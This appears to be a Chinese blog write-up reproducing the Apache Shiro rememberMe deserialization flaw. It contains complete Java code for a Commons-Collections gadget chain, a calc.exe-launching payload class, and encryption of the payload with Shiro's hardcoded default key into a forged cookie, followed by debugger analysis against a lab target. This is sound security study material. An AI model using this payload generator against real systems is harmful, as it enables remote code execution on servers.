1. 漏洞成因
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
2. 漏洞复现
POC:
点击查看代码- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- /*
- HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
- TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
- TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
- TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
- */
- public class CC_Shiro {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public byte[] getPayload(byte[] clazzBytes) throws Exception {
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- Transformer transformer = new InvokerTransformer("getClass", null, null);
- // 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformer);
- TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
- outerMap.clear();
- setFieldValue(transformer, "iMethodName", "newTransformer");
- // ==================
- // 生成序列化字符串
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(expMap);
- oos.close();
- return barr.toByteArray();
- }
- }
复制代码 再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密
点击查看代码- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.shiro.crypto.AesCipherService;
- import org.apache.shiro.util.ByteSource;
- public class Main {
- public static void main(String []args) throws Exception {
- ClassPool pool = ClassPool.getDefault();
- CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
- byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
- AesCipherService aes = new AesCipherService();
- byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
- ByteSource ciphertext = aes.encrypt(payloads, key);
- System.out.printf(ciphertext.toString());
- }
- }
复制代码 最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法
点击查看代码- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- public class Evil extends AbstractTranslet {
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
- public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
- public Evil() throws Exception {
- super();
- System.out.println("Hello TemplatesImpl");
- Runtime.getRuntime().exec("calc.exe");
- }
- }
复制代码 总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行
利用链分析
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口
为了方便调试这里在POC代码随便改改,把反序列化部分也加上
点击查看代码- package com.govuln.shiroattack;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
- /*
- HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
- TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
- TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
- TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
- */
- public class CommonsCollectionsShiro {
- public static void main(String[] args) throws Exception{
- ClassPool pool = ClassPool.getDefault();
- CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
- new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
- }
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public byte[] getPayload(byte[] clazzBytes) throws Exception {
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- Transformer transformer = new InvokerTransformer("getClass", null, null);
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformer);
- TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
- outerMap.clear();
- setFieldValue(transformer, "iMethodName", "newTransformer");
- ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
- outputStream.writeObject(expMap);
- outputStream.close();
- ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
- in.readObject();
- // ==================
- // 生成序列化字符串
- // ByteArrayOutputStream barr = new ByteArrayOutputStream();
- // ObjectOutputStream oos = new ObjectOutputStream(barr);
- // oos.writeObject(expMap);
- // oos.close();
- // return barr.toByteArray();
- return new byte[]{};
- }
- }
复制代码 这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来
这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去
因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法
接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试

进入hash方法

进入hashcode方法

再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的

进入get方法后后面就是CC3后面的过程

利用生成的payload完成复现
运行Main.java就可以生成payload

自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行

参考文章:https://www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |